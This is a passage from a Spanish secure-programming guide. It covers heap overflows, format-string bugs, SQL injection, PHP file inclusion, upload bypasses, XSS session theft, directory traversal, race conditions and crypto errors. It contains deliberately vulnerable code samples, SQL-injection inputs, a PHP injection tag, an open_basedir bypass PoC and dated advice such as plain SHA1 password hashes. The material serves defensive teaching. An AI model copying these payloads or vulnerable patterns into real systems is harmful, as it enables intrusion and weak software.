sólo veremos su capa más superficial, entendiendo que no es más que una extensión a lo ya expuesto, y que no aporta más profundidad al tema que nos centra: la programación segura. Como introducción a este punto, ampliaremos la información anterior relativa a la estructura de un proceso en memoria y a su comportamiento en tiempo de ejecución para permitir una mejor compresión del ejemplo básico de explotación que mostraremos al final de este apartado. http://www.kernelpanik.org frame at kernelpanik.org 18 Desarrollo Seguro de Aplicaciones v0.6 Beta 0xffffffff _________________________________________________ 0xbfffffff [ ] [ Segmento de pila (stack) ] [ ___ ___ ___ ___ ___ ___ ___ ] [ \/ \/ \/ \/ \/ \/ \/ \/ ] [ ] [ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ] [ ] [ ( espacio libre para uso del heap y stack) ] [ ] [ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ] [ ] [ /\__/\__/\__/\__/\__/\__/\__/\__/\__/\ ] [ ] [ (heap) ] [_______________________________________________] [ BSS ] [­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­] [ ] [ Segmento de Datos ] [ ] [_______________________________________________] [ ] [ Segmento de Texto ] [ ] 0x08048000 [­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­] [ (espacio sin uso) ]0x00000000 [_______________________________________________] En este gráfico vemos cĺáramente, además del segmento de texto y de datos, comentados con anterioridad, unos nuevos espacios: BSS y Heap. La sección denominada BSS contiene datos no inicializados, bien sean variables estáticas o globales, que no tienen asignados valor alguno. Estáticamente se representa como un espacio relleno de ceros equivalente al tamaño que ocupará en memoria una vez en tiempo de ejecución. Su direccionamiento va de menor a mayor dirección. Justo encima de la sección BSS se encuentra el HEAP, región iniciada de forma dinámica en tiempo de ejecución. Esta región es la usada para reservar memoria dinámica mediante el uso, por ejemplo, de la instrucción malloc. Al igual que la región BSS, el sentido de crecimiento es de menor a mayor dirección. Esto determina que el orden de aparición de las variables en un programa influya de manera significativa en las posibilidades de explotación del error, puesto que dependiendo de la variable que podamos sobrepasar podremos modificar el área de memoria contigua. http://www.kernelpanik.org frame at kernelpanik.org 19 Desarrollo Seguro de Aplicaciones v0.6 Beta Como podemos intuir del anterior párrafo la forma de explotación de este tipo de desbordamiento no pasa por la sobreescritura de la dirección de retorno, sino por la modificación de un espacio de memoria contiguo al desbordable para nuestro beneficio. Veámoslo con un sencillo ejemplo, explotable bajo cualquier plataforma, en el cual el uso de una función insegura como “gets”, permite modificar el flujo normal de ejecución de un programa. $ cat heap.c #include <stdio.h> int main(int argc, char **argv) { char *p1 = (char*)malloc(24), char *p2 = (char*)malloc(12); int fd; strcpy(p2, "/tmp/vulfile"); gets(p1); fd=open(p2,"a+"); write(fd,p1,strlen(p1)); return (0); } Veámos cómo se puede subvertir el funcionamiento de este código. $ ./heap hola $ cat /tmp/vulfile aaaaaaaaaaa $ rm /tmp/vulfile $ ./heap hola vamos a intentar sobreescribir el buffer para modificar el comportamiento del programa $ cat /tmp/vulfile cat: /tmp/vulfile: No existe el fichero o el directorio $ ls ­l ­r­Sr­x­­T 1 root root 91 may 18 10:55 bir el buffer para modificar el comportamiento del programa Como vemos, escribir más allá de los límites del buffer “p1”, hace que se modifiquen los datos almacenados en “p2”, en este caso el nombre del fichero en el que se escribe, lo cual nos permite, modificar la ruta de escritura a una elegida por nosotros mismos. No vamos a seguir profundizando en la explotación de heaps overflows puesto que no es el objetivo de este documento. Decir que la explotación real de este tipo de desbordamientos pasa por la implementación de la función free() en libc. Dicha función ante modificaciones concretas en el heap llevadas a cabo merced a un buffer desbordado provoca que la liberación de áreas de memoria pueda llevar a la modificación en el flujo de ejecución de un programa. La solución a este problema es idéntica a la del desbordamiento de pila, con una particularidad: la liberación en más de una ocasión del mismo buffer ( double freed ) también podrá ser explotada para subvertir el uso de un software. Dada la cierta complejidad que entraña la explotación de este tipo de errores, no entraremos en mayor detalle, que comentar que ante ciertas situaciones es http://www.kernelpanik.org frame at kernelpanik.org 20 Desarrollo Seguro de Aplicaciones v0.6 Beta posible posicionar datos específicamente construidos en memoria que en el proceso de liberación consecutiva pueden llevar a la modificación del comportamiento de un software. 2.1.4.- Errores de formato En este último epígrafe hemos agrupado dos errores comunes: los errores en el formato de las cadenas en la librería libc, y el desbordamiento de los enteros. El primer error está vinculado a la familia de funciones “printf”, y plantea un problema de seguridad cuando esta familia de funciones es llamada sin especificar el formato de los parámetros que van a ser suministrados. Uso correcto: printf(“%s”, valor); Uso incorrecto: printf(valor); Como vimos en el ejemplo de la sección 1.4 un error el formato puede llevar a una violación de segmento. No vamos a entrar en cómo se explotan ese tipo de fallos, más allá de comentar muy por encima que están vinculados al uso malintencionado por parte de un usuario de las cadenas de formato propias de esta familia de funciones, más concretamente del modificador %n, el cual sirve para escribir el número bytes impresos. 2.2.- Evolución del fallo de seguridad En el anterior punto hemos visto los que los errores clásicos tienen una serie de características, unas negativas desde el punto de vista de la explotación: ser dependientes del lenguaje, ser dependientes de la arquitectura o posibilidades de error en la explotación elevadas y otras positivas: privilegios elevados o simplemente ser la única forma de atacar escenarios concretos. Sin embargo dos han sido los factores que han hecho que el fallo de seguridad evolucione: el nivel de madurez en el código de los servicios de red y la proliferación de las aplicaciones web. La primera no es más que el producto lógico de la refactorización de un código probado durante largos años. En la actualidad los errores clásicos presentes en httpd's, ftpd's o smtpd's se han ido reduciendo cada vez más, son meses, o incluso años, los que estos servicios permanecen sin fallos de seguridad críticos, lo cual ha hecho que las vulnerabilidades en los sistemas evolucionen hasta nuevos ámbitos, esta evolución ha venido de la mano de aplicaciones desarrolladas por capas y concretamente de la mano de las aplicaciones web. 2.2.1.- Aplicaciones Inseguras En los últimos tiempos, y principalmente en el desarollo de aplicaciones web, aunque también es extensible a aplicaciones de escritorio recientes, se impone el empleo de una arquitectura por capas, satisfaciendo de esta manera una serie de criterios deseables en toda aplicación: abstracción, escalabilidad, tolerancia al cambio, capacidad de adaptación, por citar algunas. http://www.kernelpanik.org frame at kernelpanik.org 21 Desarrollo Seguro de Aplicaciones v0.6 Beta En el desarrollo por capas se divide en 3: capa de presentación, capa de aplicación y capa de datos. La capa de presentación aglutina la interactuación con el usuario, interactuación que se realiza mediante una interfaz. Esta capa, a nivel de desarollo corresponde con la “Vista” en patrón MVC (Modelo-Vista-Controlador). La capa de aplicación es la que contiene lo que comúnmente se denomina “lógica de negocio”. Esta capa es la encargada de atender las peticiones que llegan de la interfaz de usuario, realizando con ellas las tareas pertinentes y devolviendo un resultado cuando sea preciso. Dentro de un modelo de desarrollo esta capa estaría conformada por el “Controlador” y en parte por el “Modelo”. La última capa, es la capa de datos. Esta capa se encarga de abstraer por completo la gestión de los datos de una aplicación. Las aplicaciones actuales generalmente usan un SGBD ( Sistema de Gestión de Bases de Datos ) enlazado a la aplicación mediante un componente apropiado al lenguaje y al propio SGBD. Dentro del patrón MVC esta capa se encontraría en el “Modelo”. Este es el modelo de aplicación insegura más habitual en nuestros días. En él las vulnerabilidade han surgido en cada uno de los elementos que lo integran. Por un lado encontramos vulnerabilidades del lado del cliente, denominadas inyección de código en el cliente, por otro lado encontramos vulnerabilidades en el servidor de aplicación: inyección de código en el servidor, y último dentro del sistema de gestión de bases de datos mediante la inyección de sql. Estos tres errores: inyecciones de código en clientes, servidores de aplicación y sistemas de gestión de bases de datos son los ataques básicos contra un modelo de desarrollo no totalmente consolidado, propenso a la proliferación de fallos y que permite una escalada de privilegios remota uniforme, independiente de la plataforma y con poco o ningún riesgo de error en la explotación. Hemos pasado así de un modelo dificil de explotar y con grandes privilegios, a un modelo sencillo de explotar aunque con unos privilegios generalmente menores, dado que el usuario con el que se ejecuta una aplicación web suele ser un usuario standard del sistema, aunque esto como veremos, no será siempre así. Antes de continuar es conveniente repasar de forma ligera el protocolo HTTP/1.1 usado como http://www.kernelpanik.org frame at kernelpanik.org 22 Desarrollo Seguro de Aplicaciones v0.6 Beta mecanismo de comunicación entre cliente y servidor web. En este protocolo, de forma común, se usan generalmente dos métodos para comunicar al cliente con el servidor. Uno es el método GET, método encargado de una vez establecida la comunicación TCP/IP solicitar un contenido del servidor, el otro es el método POST, cuya finalidad es enviar datos, codificados en un formato concreto, entre el cliente y el servidor. Veamos dos ejemplos de estos métodos. GET /index.php?p=contacto HTTP/1.1 Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q= 0.5 Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7 Accept­Encoding: gzip,deflate Accept­Language: en­us,en;q=0.5 Host: www.kernelpanik.org Referer: http://www.kernelpanik.org User­Agent: Mozilla/5.0 (X11; U; Linux i686; en­US; rv:1.7.5) Gecko/20041111 Firefox/1.0 Keep­Alive: 300 En este ejemplo, se solicita el contenido index.php con el parámetro “p=contacto”, dicho parámetro podrá ser recuperado por index.php para su uso interno, en este caso mostrar esa determinada página y no otra. Como vemos una serie de campos adiccionales se incluyen en la petición, los principales “Host”, el cual es imprescindible para discriminar entre host virtuales de un mismo servidor. POST http://localhost/app.php HTTP/1.1 Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q= 0.5 Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7 Accept­Encoding: gzip,deflate Accept­Language: en­us,en;q=0.5 Host: localhost Referer: http://localhost/index.php User­Agent: Mozilla/5.0 (X11; U; Linux i686; en­US; rv:1.7.5) Gecko/20041111 Firefox/1.0 Content­Length: 14 Content­Type: application/x­www­form­urlencoded Keep­Alive: 300 p=1&z=3&a=test En este ejemplo se le suministra al contenido “app.php” los parámetros “p=1”, “z=3” y “a=test”. En este caso a los campos básicos se añaden el Content-Length, tamaño de lo enviado, y ContentType, formato en el que van codificados los datos. Por último decir que muchos y muy variados son los lenguajes para desarrollar aplicaciones web: c, php, asp, jsp/servlets, python, perl o perl son sólo algunos de ellos. Sin embargo es posible encontrar los errores que enunciaremos a continuación en todos y cada uno de ellos. 2.2.2.- Inyección de SQL Muchos desarrolladores no son conscientes de cómo pueden manipularse las consultas SQL, y asumen que una consulta SQL es un comando confiable. Esto representa que las consultas SQL http://www.kernelpanik.org frame at kernelpanik.org 23 Desarrollo Seguro de Aplicaciones v0.6 Beta pueden convertirse en un riesgo para la seguridad, permitiendo evadir desde controles de acceso, mostrar información sensible y en los casos más serios permitiendo ejecutar código en el servidor que aloje el SGDB. La inyección de comandos SQL es una técnica en la cual un atacante crea o altera comandos SQL existentes dentro de la aplicación para subvertir el correcto funcionamiento de la misma. Esto se consigue cuando la aplicación toma información de entrada del usuario y la combina con parámetros estáticos para construir una consulta SQL. Los ejemplos que acompañan esta sección muestran tanto casos teóricos, como ejemplos prácticos de aplicaciones reales vulnerables a este tipo de ataques. Estos ataques se basan principalmente en la explotación del código que no ha sido escrito pensando en la seguridad y en los que se ha confiado en la validez de los parámetros de entrada suministrados por el usuario. A continuación veremos algunos ejemplos de código típicos que podrían ser vulnerados usando este método. El primero de los ejemplos será un caso bastante trivial que permite sobrepasar una autentificación de usuario. <? $host='localhost'; $dbuser='root'; $dbpass='hola'; $db='oceans'; $table='dnipass'; if (isset($_GET["dni"])) $dni=$_GET["dni"]; if (isset($_GET["passwd"])) $pass=$_GET["passwd"]; $connect=mysql_connect($host, $dbuser, $dbpass) mysql_select_db($db, $connect); $consult="SELECT * FROM `$table` WHERE dni=" . $dni . " AND passwd=" . $pass; $query=mysql_query($consult,$connect); if ((mysql_num_rows($query)) > 0) { echo ("usuario <b>" . $dni . "</b> autenticado"); } else { echo ("usuario invalido"); } ?> En este ejemplo de autenticación tenemos un documento nacional de identidad y una contraseña numérica. ¿Cómo sobrepasar esta autenticación. Podemos ver que la siguiente combinación de parámetros bien pueden servir: dni: 23037159 passwd: 0 OR 1=1 Esto hará que la consulta se transforme en: SELECT * FROM `dnipass` WHERE dni=23037159 AND passwd=0 OR 1=1. Consulta que siempre devolverá un contenido con lo cual la autenticación siempre retornará positiva. $consult="SELECT * FROM `$table` WHERE dni='$dni' AND passwd='$pass'”; En este simple cambio se producen una serie de modificaciones al escenario, para empezar ya http://www.kernelpanik.org frame at kernelpanik.org 24 Desarrollo Seguro de Aplicaciones v0.6 Beta forzamos el tratamiento de los valores de entrada como cadenas, lo que haría que una inyección como la anterior adquiriese el siguiente aspecto: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='0 OR 1=1'. Algo que ya no devuelve nada, porque la password suministrada es “0 OR 1=1”, una contraseña que desde luego no coincide con la necesaria para sobrepasar la autenticación. Este escenario nos introduce de forma más real en el concepto de la inyección de SQL ya que para su conveniente explotación es necesario sobrepasar las comillas, es decir, que el texto introducido como contraseña contenga: “0' OR 1=1”. Llevándonos esto a dos modelos de explotación. El primer modelo es aquel en el cual no existen sistemas de control automáticos para las comillas. Esto generalmente se produce en lenguajes como ASP o JAVA, mientras que en PHP existe una directiva, por defecto activa, denominada “magic_quotes_gpc”, la cual transforma toda comilla simple y doble ( ' y “ ) en una secuencia ( \' y \” ) haciendo que no se puedan atacar excenarios como el descrito. Veámoslo con dos ejempos. El primero con “magic_quotes_gpc” activo y el segundo inactivo. Activo: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='1\' OR 1=1' Inactivo: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='1' OR 1=1 Es evidente que en el primer escenario no se producirá subversión alguna del comportamiento esperado para la aplicación, mientras que en el segundo caso habremos podido escapar las comillas, volviendo a sobrepasar la autenticación. Es evidente que en aquellos lenguajes que no se controle de forma automática la existencia y transformación de las comillas, será necesario un esfuerzo consciente por parte del programador que permita este control. Mucho podríamos extender esta sección hablando sobre la inyección de SQL. Podríamos poner ejemplos de explotación mediante el uso de la sentencia “UNION”, en aquellos SGBD que la permiten, consiguiendo así extracción de información sensible. Ejemplos de explotación mediante el uso de INSERT/UPDATE. O hablar del riesgo que los procedimientos almacenados en los servidores Microsoft SQL, principalmente el procedimiento xpcmdshell que permite ejecución de comandos en el servidor. Pero la idea subyacente siempre será la misma: en una consulta en la que un usuario malintencionado en el que el contenido no se procede entrecomillado o convertido a un entero, o haya sido posible escapar las comillas porque no exista un control, automático o manual, de estas, siempre existirá un riesgo para la seguridad, mayor o menor, en función del entorno en el cual nos encontremos. Las técnicas de prevención y protección contra este ataque son la siguientes: Nunca conectar a la base de datos como un super-usuario o como el dueño de la base de datos. Usar siempre usuarios personalizados con privilegios muy limitados. Revisar si la entrada recibida es del tipo apropiado. Cercionarse que cada entrada del usuario de tipo no numérico sea suministrada a la base de datos entrecomillada. Si el lenguaje no añade la contrabarra a las comillas de forma http://www.kernelpanik.org frame at kernelpanik.org 25 Desarrollo Seguro de Aplicaciones v0.6 Beta automática, para que el SGDB la interprete como un caracter y no como una secuencia de escape, será el programador el que tenga que forzar las conversión bien usando las funciones definidas por el lenguaje, si las hubiera, o bien con un método manual de conversión. Hasta aquí llega este punto, en el siguiente veremos la inyección de comandos en el servidor. 2.2.3.- Inyección de comandos en el servidor La inyección de comandos en el servidor, también denominada “server-side code injection”, consiste en la inclusión, bien local, o bien remota, de contenido ajeno a la aplicación por parte de un atacante, con el fin de obtener ejecución de comandos con los privilegios que se ejecute el servidor web. Se presenta generalmente en dos formas diferentes. La primera de ellas por el uso inapropiado de funciones contenidas en el lenguaje que debido a su potencia y versatilidad pueden llevar a la citada ejecución de comandos. La segunda tiene que ver con un control incorrecto de los datos que se almacenan en ficheros potencialmente ejecutables. El primer modelo de error generalmente está presente en aplicaciones PHP ante el uso de funciones como include, include_once, require o require_once. La potencia y verstalidad de estas funciones, que permiten leer e interpretar cualquier fichero como contenido php, bien sea de forma local, o remota a través de protocolos como http, ftp e incluso samba, hace que para uso se deban seguir una serie de pasos que eviten situaciones indeseables. El segundo modelo puede presentarse en cualquiera de los lenguajes y está vinculado a la salida a disco de datos suministrados por el usuario. Dentro de este modelo encontramos también dos divisiones. La primera será aquellos casos en los que no exista un SGBD propiamente dicho, y se usen ficheros de disco para almacenar datos. Esto que puede parecer extraño, es bastante común en sistemas de gestión de contenido, que pregeneran el contenido a mostrar y lo almacenan en disco para economizar tiempos de acceso. Los datos pueden ser de la más diversa índole, desde datos propios del perfil de un usuario, hasta acciones de este como envíos de comentarios, mensajes o noticias. El segundo grupo será la subida de ficheros al servidor por parte de un usuario. En estos casos la validación y control de los datos almacenados por el usuario deberá ser máxima. Antes de continuar, hacer un inciso, sobre el segundo modelo. Debemos recordar, que en un servidor web, el contenido es procesado en función de la extensión, y del manejador ( handler ) asociado a ella. Así por ejemplo, un servidor web modular como apache, puede cargar múltiples módulos para la gestión de los más diversos contenidos: mod_php, para la gestión de contenido PHP, mod_perl, para la gestión de contenido perl, o mod_cgi, para la gestión de contenido ejecutable dentro de un entorno “cgi-bin”. Paralelamente existen manejadores que asocian contenido, es decir, extensiones de fichero a determinados módulos. Pudiéndose dar situaciones en las que por ejemplo un fichero “.html” sea procesado por “mod_php”. Lo cual debe ser tenido muy en cuenta a la hora de almacenar datos en el disco, sobre todo si la aplicación debe ejecutarse en servidores de los que no conocemos su extacta configuración. http://www.kernelpanik.org frame at kernelpanik.org 26 Desarrollo Seguro de Aplicaciones v0.6 Beta A continuación veremos una serie de ejemplos reales, con aplicaciones usadas en los más diversos entornos: personal, empresarial, gubernamental o educativo, entre otros. Los primeros ejemplos corresponden al primer grupo, uso inapropiado de las funciones include, include_once, require, require_once. Para el primer ejemplo usaremos una ejecución remota de código existente en la versión 1.6.x de PHPDig. PHPDig, es la implementación en PHP del motor de búsqueda HTDig, y es usado entre otros por usuarios, empresas e instituciones gubernamentales de España, Europa y Estados Unidos. PhpDig 1.6.x en ./includes/config.php: =========================== (..) //includes language file if (is_file("$relative_script_path/locales/$phpdig_language­language.php")) {include "$relative_script_path/locales/$phpdig_language­language.php";} else {include "$relative_script_path/locales/en­language.php";} (..) //includes of libraries include "$relative_script_path/libs/phpdig_functions.php"; include "$relative_script_path/libs/function_phpdig_form.php"; include "$relative_script_path/libs/mysql_functions.php"; El uso de la función include, sin mayor chequeo, permite que un usuario malicioso pueda adulterar la variable $relative_script_path, con un valor similar a “http://hostatacante”, transformando la inclusión local de un fichero alojado en el servidor, en una inclusión remota de un fichero php existente en el servidor del atacante, que será leido e interpretado por la aplicación, permitiendo la ejecución remota de comandos. Nótese que también se puede realizar una inclusión de ficheros local. Para el segundo ejemplo, es decir, salida de contenidos no verificados a disco. Usaremos como ejemplo un fallo de seguridad existente en el sistema de comentarios de GreyMatter v1.21d. Greymatter es un gestor de contenidos ligero, escrito en Perl, y que usa como sistema de almacenamiento de datos ficheros en disco. El problema para la seguridad radica en los manejadores que tenga asociada la extensión que seleccionemos como sistema de almacenamiento, por defecto .html. Aunque es común que en algunos hosts se seleccione .php, para aumentar la funcionalidad. En ambos casos, si el manejador de PHP está activo para la extensión seleccionada se puede producir un problema de seguridad al ser posible introducir contenido ejecutable dentro del campo de comentarios. De tal forma que insertando en un campo comentario <script language='php'>comando;</script > este sería almacenado en el fichero de comentarios. Una vez que el fichero de comentarios sea llamado por el atacante podrá ejecutar comandos. El último ejemplo versará sobre la subida de ficheros al servidor. En este caso usaremos un fallo de http://www.kernelpanik.org frame at kernelpanik.org 27 Desarrollo Seguro de Aplicaciones v0.6 Beta seguridad de reciente publicación en el sistema de gestión de contenidos y plataformas de publicación BoastMachine v3.0 Platinum. Más concretamente en la subida de un “avatar”, imagen asociada a un usuario, al servidor. ==== BoastMachine v3.0: Subir una imagen para el usuario. ==== ./bmc/inc/users/users.inc.php // Upload the user picture if($_FILES['user_pic']['name']) { // Check or valid filesize if(!isset($_FILES['user_pic']['size']) || $_FILES['user_pic']['size'] > ($bmc_vars['user_pic_size']*1024)) { bmc_Template('error_page',str_replace("%size%", $bmc_vars['user_pic_size'],$lang['user_pic_size_fail'])); } $ext=explode(".",$_FILES['user_pic']['name']); $ext=trim($ext[count($ext)­1]); $user_pic=$user."_pic.".$ext; @move_uploaded_file($_FILES['user_pic']['tmp_name'], CFG_PARENT."/files/".$user_pic); // Verify image $img=@getimagesize(CFG_PARENT."/files/".$user_pic); // BIG SIZE! if((!isset($img[0]) || !isset($img[1])) || ($img[0] > $bmc_vars['user_pic_width'] || $img[1] > $bmc_vars['user_pic_height'])) { @unlink(CFG_PARENT."/files/".$user_pic); bmc_Template('error_page',str_replace("%width%", $bmc_vars['user_pic_width'],str_replace("%height%", $bmc_vars['user_pic_height'],$lang['user_pic_dimension_fail']))); } $user_pic_sql=",user_pic='{$user_pic}'"; } else { $user_pic_sql=""; } Las líneas clave están en la asignación de extensión al fichero, donde se mantiene la extensión existente, y en la llamada a la función getimagesize, dado que siempre y cuando retorne un valor válido en tamaño y dimensión la imagen será válida. La forma de vulnerar esta aplicación pasa por concatenar a una imagen, por ejemplo jpg, contenido en php, y cambiar su extensión de .jpg a . php, lo cual nos hará tener una imagen en el servidor, con extensión php, que será procesada por PHP y ejecutado su contenido. Las medidas de prevención y protección contra este tipo de ataques son las siguientes: Filtrar carácteres potencialmente peligrosos en las entradas suministradas por el usuario. Estos carácteres serán generalmente aquellos que permitan conectar a máquinas remotas, bien modificar rutas locales, es decir: “/”, “\” y “.” http://www.kernelpanik.org frame at kernelpanik.org 28 Desarrollo Seguro de Aplicaciones v0.6 Beta Minimizar el uso de funciones potencialmente peligrosas, y en aquellos casos que sea necesario su uso, hacerlo siguiendo unos criterios de seguridad: comprobar que es una inserción local o que no se está modificando el path para la inclusión. Chequear toda salida a disco. Filtrando siempre el uso de caractéres potencialmente peligrosos. Estos carácteres serán las secuencias de escape que delimitan contenido potencialmente ejecutable: “<” y “>”. Nótese que limitar exclusivamente secuencias como “<?” o “<%”, aunque pueda parecer una buena solución a priori, viendo el ejemplo de GreyMatter podemos ver que existen otras etiquetas, como “<script>” que permiten ejecutar contenido en el servidor. Controlar y verificar los tipos de ficheros que el usuario puede subir al servidor. Nunca permitir al usuario subir cualquier tipo de contenido. Hasta aquí ha llegado la inclusión de ficheros en el servidor. En el siguiente apartado trataremos la inclusión de código HTML en el cliente. 2.2.4.- Inyección de código HTML en cliente La inyección de código HTML en el cliente será el último de los problemas que veamos en relación con las aplicaciones web. Este error, también denominado “Cross-Site Scripting”, abreviado XSS, se fundamenta en inyectar dentro de la aplicación código HTML que al ser mostrado en el navegador de la víctima del ataque pueda alterar su comportamiento normal. Esto nos da 2 ideas claves entorno a este ataque. La primera es que es un ataque pasivo. Es necesario que la víctima realice una determinada acción, como por ejemplo visitar una determinada web, para sufrir dicho ataque. La segunda, es que el ataque se produce en el cliente, y nunca en el servidor. Es decir, lo se ataca es a un cliente conectado a un servidor, y no al propio servidor. ¿Qué riesgo para la seguridad es este?. Este tipo de ataque no siempre presenta un riesgo para la seguridad, sin embargo es cierto que existen determinados escenarios en los cuales la inyección de código HTML en el contexto de un cliente se convierte en un problema para la seguridad, tanto del cliente, como del servidor. Veámoslos. El primer escenario es el robo de credenciales de un cliente autenticado en la aplicación. Este tipo de ataque es posible merced a los sistemas de control de sesiones que implementan las aplicaciones web. Generalmente una aplicación se decanta por una de las siguientes formas de control de la sesión del usuario: una variable en la aplicación o una cookie. Tanto una como otra contendrán el identificador de sesión ( sid ), consistente en una cadena de texto, usualmente alfanumérica, de una longitud suficiente como para garantizar la imposibilidad de colisiones entre identificadores de usuario. Este identificador se obtiene una vez superada la autenticación y generalmente se amplia la seguridad asociándolo a una IP y delimitando el tiempo de uso del mismo. Estas credenciales son almacenadas por el navegador, por tanto, inyectando HTML, http://www.kernelpanik.org frame at kernelpanik.org 29 Desarrollo Seguro de Aplicaciones v0.6 Beta concretamente javascript, dentro de una aplicación es factible robar las credenciales de un usuario de manera más o menos trivial, con una simple llamada a un servidor controlado por el atacante el cual almacene dichas credenciales. Este ataque se ve dificultado en numerosas ocasiones por un control de la IP del usuario legítimo de la aplicación. No obstante recordemos que la existencia de proxys intermedios en los proveedores de servicio, así como de intranets con IP compartida mediante NAT, hacen que siga siendo posible este tipo de ataque. Como ejemplo, usaremos una inyección de código HTML existente en Netscape Messenger Express. El cual al insertar una referencia a un contenido externo, permitía capturar el contenido del campo HTTP_REFERER con el identificador de sesión en él. Paralelamente un inapropiado control de la IP del usuario por parte de algunos proveedores de servicios, como por ejemplo Terra, permitía el robo de sesiones de usuario. Además de robar sesiones de usuario, es posible en aquellas aplicaciones que incorporan funcionalidades sobre el servidor, invocarlas ante la ejecución de una inyección de HTML en la aplicación. Así sucede actualmente con Horde/IMP, popular webmail escrito en PHP. Horde/IMP permite una inyección de HTML en el campo Subject ( Asunto ) de los mensajes de email. Generalmente este problema no debería ir más allá de capturar la sesión del usuario, pero la existencia de privilegios extendidos para los administradores de Horde, así como de que Horde sea usado como plataforma de lectura de correo por aplicaciones como CPanel, hace que sea posible ejecutar comandos sobre el servidor a partir de un sencillo ataque de inyección de código. La solución a este tipo de problemas pasa por la creación de una función de impresión segura, la cual remplace los caracteres “<” y “>” por “&lt” y “&gt”, para su correcta representación sin peligro en los navegadores web. 2.3.- Otros errores de seguridad 2.3.1.- Escalada de directorios En cualquier tipo de aplicación es posible que existan medidas de seguridad que restrinjan los directorios en los cuales un usuario de la misma puede interactuar, sobrepasar esas medidas de seguridad, es decir, poder acceder a directorios fuera del marco de seguridad original, es lo que se conoce como escalada de directorios. Este error se puede presentar y explotar de muchas maneras. Una forma puede ser introduciendo los carácteres “../” como parte de una entrada de usuario relativa a un fichero que queramos visualizar, descargar o almacenar. Otra forma menos común es haciendo uso de funcionalidades adiccionales las cuales aun perteneciendo a la aplicación no validen dicha restricción de seguridad. Veámos un ejemplo de este último modelo presente PHP 4/5 hasta su versión más reciente. Las funciones cURL en PHP4 y PHP5 sobrepasan la proteccion open_basedir, directiva que limita el path absoluto al que un usuario puede tener acceso, de tal forma que se puede navegar a través del sistema de ficheros sin ninguna limitación, más que la inherente a los permisos del mismo. http://www.kernelpanik.org frame at kernelpanik.org 30 Desarrollo Seguro de Aplicaciones v0.6 Beta Por ejemplo, configurando "open_basedir" en php.ini a "/var/www/html" cualquiera puede leer "/etc/parla" usando funciones de cURL. == Demostración del concepto (curl.php) <?php $ch = curl_init("file:///etc/parla"); $file=curl_exec($ch); echo $file ?> $ links ­dump http://localhost/curltest/curl.php don't read please! La solución a este problema pasa por la existencia de una única función que implemente la funcionalidad y sea siempre usada en toda llamada, así como controlar las extensiones de la aplicación y su respeto por dicha funcionalidad. 2.3.2.- Condiciones de carrera Una condición de carrera se puede definir como aquel comportamiento anómalo producido por la interacción concurrente de varios procesos dentro de un flujo lógico de ejecución. Dicho así puede que suene muy extraño, pero las condiciones de carrera, aquí, en seguridad, o en una asignatura de programación concurrente, tienen el mismo componente: el acceso simultaneo a un recurso y su posible modificación. Las condiciones de carrera, a diferencia de otras técnicas, no se fundamentan en la entrada o salida de datos adulterados por parte del usuario, sino de una presunción por parte del desarrollador en la que su software se ejecutará en un entorno monotarea y siguiendo un orden lógico idéntico al del código original. Esta presunción es del todo incorrecta, nada impide, en un sistema operativo multitarea, como son los actuales, que mientras mi código se está ejecutando, otros se ejecuten, y puedan producirse condiciones de carrera. Veámos un sencillo ejemplo presente en GreyMatter v1.3. Cuando GreyMatter reconstruye la sección "main entry pages", por ejemplo: un template ha cambiado o un usuario ha presionado el botón rebuild, un fichero temporal es creado. El fichero es eliminado una vez que el proceso ha concluido. El fichero es creado con el nombre "gm-token.cgi", y con un formato como: $ cat gm­token.cgi gmXXXXXXXXXX ( donde X son números ) nombre_de_usuario password_en_texto_plano El fichero es creado en el directorio "archives/", con permisos 0666 . Si el directorio "archives/" no está dentro de "/cgi-bin", o no está en un directorio con permisos cgi (ScriptAlias/+ExecCGI) cualquiera puede recuperar este fichero con un GET sobre "archives/gm-token.cgi". http://www.kernelpanik.org frame at kernelpanik.org 31 Desarrollo Seguro de Aplicaciones v0.6 Beta La solución a este tipo de errores para por la creación de ficheros temporales con nombres totalmente aleatorios. Comprobar que los ficheros que queremos abrir no existen, y en caso de que existan, no son enlaces simbólicos a otros ficheros, así como abrirlos en modo exclusivo para escritura, y con los permisos más restrictivos posibles y en general diseñar pensando que nuestra aplicación no funcionará en un entorno aislado, sino en un entorno multiusuario y multitarea. 2.3.3.- Errores en el mecanismo de autenticación Bajo este epígrafe se agrupa un problema al que no vamos a dedicar excesivas líneas, porque bien ya ha sido tratado con errores concretos: XSS, SQL Injection. O bien pertenece al campo del diseño lógico. En este último campo, podemos encontrar desde identificadores de sesión secuenciales, hasta inexistencia de mecanismos de autenticación, pasando por un amplio surtido de debilidades como limitación de longitud de la clave, uso de sistemas de recuperación de contraseñas ineficientes, por citar algunos. La solución a estos problemas pasa por no cometer los errores vistos con anterioridad en la codificación del mismo, a la par que diseñar correctamente aquellos que implementemos. 2.3.4.- Errores en el mecanismo de cifrado Este será el último error que tratemos y bajo él agrupamos una serie de errores al implementar sistemas de cifrado. Uso de algoritmos débiles como pueden ser RC4 o DES. Almacenaje de contraseñas en texto plano y no de los hashes md5 o sha1 de las mismas, incluso sha-256/512 en caso de querer ampliar el espacio de colisiones. Almacenaje de las contraseñas de cifrado dentro de la aplicación. O uso de algoritmos de cifrado propietario cuya seguridad no ha sido contrastada. La solución a este problema pasa por cifrar haciendo uso de algoritmos de probada calidad como blowfish o twofish para el cifrado simético, RSA o DH para el cifrado asimétrico y SHA1 o SHA-256 para la generación de Hashes. Almacenar siempre los hashes de las contraseñas y nunca estas. Nunca usar algoritmos propietarios de dudosa calidad. Y sobre todo nunca contener la password de cifrado en la propia aplicación, el usuario debe ser el que la introduzca, no el sistema. http://www.kernelpanik.org frame 